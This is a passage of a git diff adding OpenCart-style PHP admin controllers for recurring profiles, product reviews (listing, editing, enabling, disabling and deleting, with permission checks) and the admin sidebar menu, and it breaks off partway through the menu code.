+ $data['recurring_description'] = $this->model_catalog_recurring->getRecurringDescription($recurring_info['recurring_id']);
+ } else {
+ $data['recurring_description'] = array();
+ }
+
+ if (isset($this->request->post['price'])) {
+ $data['price'] = $this->request->post['price'];
+ } elseif (!empty($recurring_info)) {
+ $data['price'] = $recurring_info['price'];
+ } else {
+ $data['price'] = 0;
+ }
+
+ $data['frequencies'] = array();
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_semi_month'),
+ 'value' => 'semi_month'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year'
+ );
+
+ if (isset($this->request->post['frequency'])) {
+ $data['frequency'] = $this->request->post['frequency'];
+ } elseif (!empty($recurring_info)) {
+ $data['frequency'] = $recurring_info['frequency'];
+ } else {
+ $data['frequency'] = '';
+ }
+
+ if (isset($this->request->post['duration'])) {
+ $data['duration'] = $this->request->post['duration'];
+ } elseif (!empty($recurring_info)) {
+ $data['duration'] = $recurring_info['duration'];
+ } else {
+ $data['duration'] = 0;
+ }
+
+ if (isset($this->request->post['cycle'])) {
+ $data['cycle'] = $this->request->post['cycle'];
+ } elseif (!empty($recurring_info)) {
+ $data['cycle'] = $recurring_info['cycle'];
+ } else {
+ $data['cycle'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($recurring_info)) {
+ $data['status'] = $recurring_info['status'];
+ } else {
+ $data['status'] = 0;
+ }
+
+ if (isset($this->request->post['trial_price'])) {
+ $data['trial_price'] = $this->request->post['trial_price'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_price'] = $recurring_info['trial_price'];
+ } else {
+ $data['trial_price'] = 0.00;
+ }
+
+ if (isset($this->request->post['trial_frequency'])) {
+ $data['trial_frequency'] = $this->request->post['trial_frequency'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_frequency'] = $recurring_info['trial_frequency'];
+ } else {
+ $data['trial_frequency'] = '';
+ }
+
+ if (isset($this->request->post['trial_duration'])) {
+ $data['trial_duration'] = $this->request->post['trial_duration'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_duration'] = $recurring_info['trial_duration'];
+ } else {
+ $data['trial_duration'] = '0';
+ }
+
+ if (isset($this->request->post['trial_cycle'])) {
+ $data['trial_cycle'] = $this->request->post['trial_cycle'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_cycle'] = $recurring_info['trial_cycle'];
+ } else {
+ $data['trial_cycle'] = '1';
+ }
+ if (isset($this->request->post['trial_status'])) {
+ $data['trial_status'] = $this->request->post['trial_status'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_status'] = $recurring_info['trial_status'];
+ } else {
+ $data['trial_status'] = 0;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($recurring_info)) {
+ $data['sort_order'] = $recurring_info['sort_order'];
+ } else {
+ $data['sort_order'] = 0;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/recurring_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/recurring')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['recurring_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/recurring')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $recurring_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByProfileId($recurring_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'catalog/recurring')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/review.php b/public/admin/controller/catalog/review.php
new file mode 100644
index 0000000..665f5fc
--- /dev/null
+++ b/public/admin/controller/catalog/review.php
@@ -0,0 +1,650 @@
+load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_review->addReview($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_review->editReview($this->request->get['review_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $review_id) {
+ $this->model_catalog_review->deleteReview($review_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_product'])) {
+ $filter_product = $this->request->get['filter_product'];
+ } else {
+ $filter_product = '';
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $filter_author = $this->request->get['filter_author'];
+ } else {
+ $filter_author = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'r.date_added';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/review/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/review/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/review/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['reviews'] = array();
+
+ $filter_data = array(
+ 'filter_product' => $filter_product,
+ 'filter_author' => $filter_author,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $review_total = $this->model_catalog_review->getTotalReviews($filter_data);
+
+ $results = $this->model_catalog_review->getReviews($filter_data);
+
+ foreach ($results as $result) {
+ $data['reviews'][] = array(
+ 'review_id' => $result['review_id'],
+ 'name' => $result['name'],
+ 'author' => $result['author'],
+ 'rating' => $result['rating'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('catalog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_id=' . $result['review_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_product'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_author'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.author' . $url, true);
+ $data['sort_rating'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.rating' . $url, true);
+ $data['sort_status'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $review_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($review_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($review_total - $this->config->get('config_limit_admin'))) ? $review_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $review_total, ceil($review_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_product'] = $filter_product;
+ $data['filter_author'] = $filter_author;
+ $data['filter_status'] = $filter_status;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/review_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['review_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['product'])) {
+ $data['error_product'] = $this->error['product'];
+ } else {
+ $data['error_product'] = '';
+ }
+
+ if (isset($this->error['author'])) {
+ $data['error_author'] = $this->error['author'];
+ } else {
+ $data['error_author'] = '';
+ }
+
+ if (isset($this->error['text'])) {
+ $data['error_text'] = $this->error['text'];
+ } else {
+ $data['error_text'] = '';
+ }
+
+ if (isset($this->error['rating'])) {
+ $data['error_rating'] = $this->error['rating'];
+ } else {
+ $data['error_rating'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['review_id'])) {
+ $data['action'] = $this->url->link('catalog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_id=' . $this->request->get['review_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['review_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $review_info = $this->model_catalog_review->getReview($this->request->get['review_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('catalog/product');
+
+ if (isset($this->request->post['product_id'])) {
+ $data['product_id'] = $this->request->post['product_id'];
+ } elseif (!empty($review_info)) {
+ $data['product_id'] = $review_info['product_id'];
+ } else {
+ $data['product_id'] = '';
+ }
+
+ if (isset($this->request->post['product'])) {
+ $data['product'] = $this->request->post['product'];
+ } elseif (!empty($review_info)) {
+ $data['product'] = $review_info['product'];
+ } else {
+ $data['product'] = '';
+ }
+
+ if (isset($this->request->post['author'])) {
+ $data['author'] = $this->request->post['author'];
+ } elseif (!empty($review_info)) {
+ $data['author'] = $review_info['author'];
+ } else {
+ $data['author'] = '';
+ }
+
+ if (isset($this->request->post['text'])) {
+ $data['text'] = $this->request->post['text'];
+ } elseif (!empty($review_info)) {
+ $data['text'] = $review_info['text'];
+ } else {
+ $data['text'] = '';
+ }
+
+ if (isset($this->request->post['rating'])) {
+ $data['rating'] = $this->request->post['rating'];
+ } elseif (!empty($review_info)) {
+ $data['rating'] = $review_info['rating'];
+ } else {
+ $data['rating'] = '';
+ }
+
+ if (isset($this->request->post['date_added'])) {
+ $data['date_added'] = $this->request->post['date_added'];
+ } elseif (!empty($review_info)) {
+ $data['date_added'] = ($review_info['date_added'] != '0000-00-00 00:00' ? $review_info['date_added'] : '');
+ } else {
+ $data['date_added'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($review_info)) {
+ $data['status'] = $review_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/review_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['product_id']) {
+ $this->error['product'] = $this->language->get('error_product');
+ }
+
+ if ((utf8_strlen($this->request->post['author']) < 3) || (utf8_strlen($this->request->post['author']) > 64)) {
+ $this->error['author'] = $this->language->get('error_author');
+ }
+
+ if (utf8_strlen($this->request->post['text']) < 1) {
+ $this->error['text'] = $this->language->get('error_text');
+ }
+
+ if (!isset($this->request->post['rating']) || $this->request->post['rating'] < 0 || $this->request->post['rating'] > 5) {
+ $this->error['rating'] = $this->language->get('error_rating');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/review');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $review_id) {
+ $data = array();
+ $result = $this->model_catalog_review->getReview($review_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 1;
+ $this->model_catalog_review->editReview($review_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+ public function disable() {
+ $this->load->language('catalog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/review');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $review_id) {
+ $data = array();
+ $result = $this->model_catalog_review->getReview($review_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 0;
+ $this->model_catalog_review->editReview($review_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/column_left.php b/public/admin/controller/common/column_left.php
new file mode 100644
index 0000000..991c02b
--- /dev/null
+++ b/public/admin/controller/common/column_left.php
@@ -0,0 +1,785 @@
+request->get['user_token']) && isset($this->session->data['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->load->language('common/column_left');
+
+ // Create a 3 level menu array
+ // Level 2 can not have children
+
+ // Menu
+ $data['menus'][] = array(
+ 'id' => 'menu-dashboard',
+ 'icon' => 'fa-dashboard',
+ 'name' => $this->language->get('text_dashboard'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+
+ // Catalog
+ $catalog = array();
+
+ if ($this->user->hasPermission('access', 'catalog/category')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_category'),
+ 'href' => $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/product')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_product'),
+ 'href' => $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/recurring')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_recurring'),
+ 'href' => $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/filter')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_filter'),
+ 'href' => $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Attributes
+ $attribute = array();
+
+ if ($this->user->hasPermission('access', 'catalog/attribute')) {
+ $attribute[] = array(
+ 'name' => $this->language->get('text_attribute'),
+ 'href' => $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/attribute_group')) {
+ $attribute[] = array(
+ 'name' => $this->language->get('text_attribute_group'),
+ 'href' => $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($attribute) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_attribute'),
+ 'href' => '',
+ 'children' => $attribute
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/option')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_option'),
+ 'href' => $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/manufacturer')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_manufacturer'),
+ 'href' => $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/download')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_download'),
+ 'href' => $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/review')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_review'),
+ 'href' => $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/information')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_information'),
+ 'href' => $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($catalog) {
+ $data['menus'][] = array(
+ 'id' => 'menu-catalog',
+ 'icon' => 'fa-tags',
+ 'name' => $this->language->get('text_catalog'),
+ 'href' => '',
+ 'children' => $catalog
+ );
+ }
+
+ // BLOG
+ $blog = array();
+ if ($this->user->hasPermission('access', 'blog/article')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_article'),
+ 'href' => $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'blog/category')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_category'),
+ 'href' => $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'blog/review')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_review'),
+ 'href' => $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'blog/setting')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_setting'),
+ 'href' => $this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($blog) {
+ $data['menus'][] = array(
+ 'id' => 'menu-blog',
+ 'icon' => 'fa-book',
+ 'name' => $this->language->get('text_blog'),
+ 'href' => '',
+ 'children' => $blog
+ );
+ }
+
+ // SERVICES
+ $service = array();
+ if ($this->user->hasPermission('access', 'service/service')) {
+ $service[] = array(
+ 'name' => $this->language->get('text_service'),
+ 'href' => $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($service) {
